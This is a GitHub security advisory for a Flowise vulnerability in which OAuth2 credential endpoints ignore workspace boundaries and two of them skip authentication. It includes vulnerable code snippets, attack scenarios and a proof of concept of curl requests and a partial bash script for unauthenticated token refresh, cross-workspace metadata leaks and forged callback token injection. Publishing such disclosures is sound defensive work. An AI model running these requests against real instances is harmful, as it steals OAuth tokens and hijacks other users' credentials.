GitHub Advisoryadvisory · npm

GHSA-wch5-xp77-fxg4 Flowise: Cross-Workspace OAuth2 Credential Metadata Leak

HIGH Published 2026-08-04 Modified 2026-08-04 Official page ↗
Aliases
CVE-2026-70474
Ecosystem
npm
Packages
flowise
Severity
High
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Weaknesses
CWE-863
Reviewed
2026-08-04

Affected packages

• npm flowise: < 3.1.3 → fixed in 3.1.3

Description

Summary Three OAuth2 credential endpoints look up credentials by `id` alone with no `workspaceId` filter. Two of these endpoints (`callback`, `refresh`) are whitelisted from all authentication. This allows: 1. Cross-workspace credential access — Any authenticated user can initiate OAuth2 flows against credentials belonging to other workspaces. 2. Unauthenticated token injection — An unauthenticated attacker can forge OAuth2 callbacks to overwrite tokens in any credential. 3. Unauthenticated token refresh — An unauthenticated attacker can refresh tokens for any credential. --- Root Cause Vulnerable code: no workspace scoping All three OAuth2 handlers query the `Credential` table by `id` only: `packages/server/src/routes/oauth2/index.ts:80-82` (authorize) ```typescript const credential = await credentialRepository.findOneBy({ id: credentialId // Missing: workspaceId filter }) ``` `packages/server/src/routes/oauth2/index.ts:183-185` (callback) ```typescript const credential = await credentialRepository.findOneBy({ id: state as string // Missing: workspaceId filter }) ``` `packages/server/src/routes/oauth2/index.ts:314-316` (refresh) ```typescript const credential = await credentialRepository.findOneBy({ id: credentialId // Missing: workspaceId filter }) ``` Correct pattern (same codebase) The standard credential service correctly enforces workspace isolation: `packages/server/src/services/credentials/index.ts:130-132` ```typescript const credential = await appServer.AppDataSource.getRepository(Credential).findOneBy({ id: credentialId, workspaceId: workspaceId // req.path.startsWith(url)) if (isWhitelisted) { next() // No JWT verification, no API key check } ``` --- Attack Scenarios Scenario A: Cross-Workspace Credential Metadata Leak An authenticated user in Workspace A initiates an OAuth2 authorize flow for a credential belonging to Workspace B. The server returns an authorization URL containing the victim credential's `client_id`, `scope`, and `redirect_uri`. ``` POST /api/v1/oauth2-credential/authorize/ Cookie: connect.sid= ``` Response: ```json { "success": true, "credentialId": "", "authorizationUrl": "https://provider.com/oauth2/authorize?client_id=LEAKED_CLIENT_ID&scope=LEAKED_SCOPE&...", "redirectUri": "https://flowise-instance/api/v1/oauth2-credential/callback" } ``` Scenario B: Unauthenticated Token Injection via Forged Callback The callback endpoint requires no authentication and uses the `state` parameter as the credential lookup key. An attacker who controls an OAuth2 provider (or MitMs the flow) can inject arbitrary tokens into any credential. ``` GET /api/v1/oauth2-credential/callback?code=ATTACKER_AUTH_CODE&state= (No authentication required) ``` The server exchanges the code at the credential's `accessTokenUrl`, and whatever tokens the provider returns are encrypted and stored into the victim's credential record (line 271): ```typescript await credentialRepository.update(credential.id, { encryptedData, // Contains attacker-controlled token data updatedDate: new Date() }) ``` Scenario C: Unauthenticated Token Refresh An attacker can refresh any credential's OAuth2 tokens without authentication. The server reads the stored `refresh_token`, exchanges it at the `accessTokenUrl`, and returns fresh token metadata. ``` POST /api/v1/oauth2-credential/refresh/ (No authentication required) ``` Response: ```json { "success": true, "credentialId": "", "tokenInfo": { "access_token": "new-access-token-value", "token_type": "Bearer", "expires_in": 3600, "has_new_refresh_token": false, "expires_at": "2026-04-13T12:00:00.000Z" } } ``` The fresh `access_token` is returned directly in the response body (line 393-401), giving the attacker a valid OAuth2 token for whatever service the victim credential is connected to. --- Proof of Concept Prerequisites • A running Flowise instance with at least two workspaces (Workspace A and Workspace B) • An OAuth2 credential configured in Workspace B (the victim) • The credential UUID of the victim credential (obtainable by any member of Workspace B, or via IDOR — see Finding 4) Step 1 — Confirm unauthenticated refresh endpoint is reachable ```bash No cookies, no Bearer token — completely unauthenticated FLOWISE_URL="https://TARGET_INSTANCE" VICTIM_CRED_ID="xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx" curl -s -X POST "${FLOWISE_URL}/api/v1/oauth2-credential/refresh/${VICTIM_CRED_ID}" \ -H "Content-Type: application/json" ``` Expected result if credential exists and has a refresh token: ```json { "success": true, "message": "OAuth2 token refreshed successfully", "credentialId": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx", "tokenInfo": { "access_token": "", "token_type": "Bearer", "expires_in": 3600, "has_new_refresh_token": false, "expires_at": "2026-04-13T..." } } ``` Expected result if credential not found: ```json { "success": false, "message": "Credential not found" } ``` Step 2 — Cross-workspace authorize (requires any valid session) ```bash Attacker is authenticated in Workspace A They target a credential UUID from Workspace B ATTACKER_COOKIE="connect.sid=s%3A..." curl -s -X POST "${FLOWISE_URL}/api/v1/oauth2-credential/authorize/${VICTIM_CRED_ID}" \ -H "Cookie: ${ATTACKER_COOKIE}" \ -H "Content-Type: application/json" ``` Expected result — victim credential's OAuth2 config is leaked: ```json { "success": true, "credentialId": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx", "authorizationUrl": "https://login.microsoftonline.com/.../authorize?client_id=VICTIM_CLIENT_ID&scope=VICTIM_SCOPES&...", "redirectUri": "https://TARGET_INSTANCE/api/v1/oauth2-credential/callback" } ``` Step 3 — Forge callback to inject attacker-controlled tokens ```bash Attacker sets up a rogue OAuth2 provider that returns crafted tokens, OR intercepts a legitimate flow. The state parameter is the victim credential UUID. curl -s "${FLOWISE_URL}/api/v1/oauth2-credential/callback?code=ATTACKER_CODE&state=${VICTIM_CRED_ID}" ``` The server POSTs the `code` to the credential's `accessTokenUrl`. If the attacker controls the OAuth2 provider (or has a valid code), the returned tokens are written into the victim's credential. Full automated PoC script ```bash !/usr/bin/env bash set -euo pipefail ---- Configuration ---- FLOWISE_URL="${1:?Usage: $0 [attacker_cookie]}" VICTIM_CRED_ID="${2:?Usage: $0 [attacker_cookie]}" ATTACKER_COOKIE="${3:-}" echo "=== OAuth2 Cross-Workspace Credential Hijacking PoC ===" echo "Target: ${FLOWISE_URL}" echo "Credential: ${VICTIM_CRED_ID}" echo "" --- Attack Vector 1: Unauthenticated token refresh --- echo "[1] Attempting unauthenticated token refresh..." REFRESH_RESP=$(curl -s -w "\n%{http_code}" -X POST \ "${FLOWISE_URL}/api/v1/oauth2-credential/refresh/${VICTIM_CRED_ID}" \ -H "Content-Type: application/json") HTTP_CODE=$(echo "${REFRESH_RESP}" | tail -1) BODY=$(echo "${REFRESH_RESP}" | head -n -1) if [ "${HTTP_CODE}" = "200" ]; then echo "[!] VULNERABLE — Unauthenticated token refresh succeeded" echo " Response: ${BODY}" | head -c 500 echo "" elif echo "${BODY}" | grep -q "Credential not found"; then echo …

Related

Alias · CVE (1)

  • CVE-2026-70474 Flowise is a drag-and-drop user interface for building customized large language model (LLM) flows. vulnerability

Weakness · CWE (1)

  • CWE-863 Incorrect Authorization weakness

References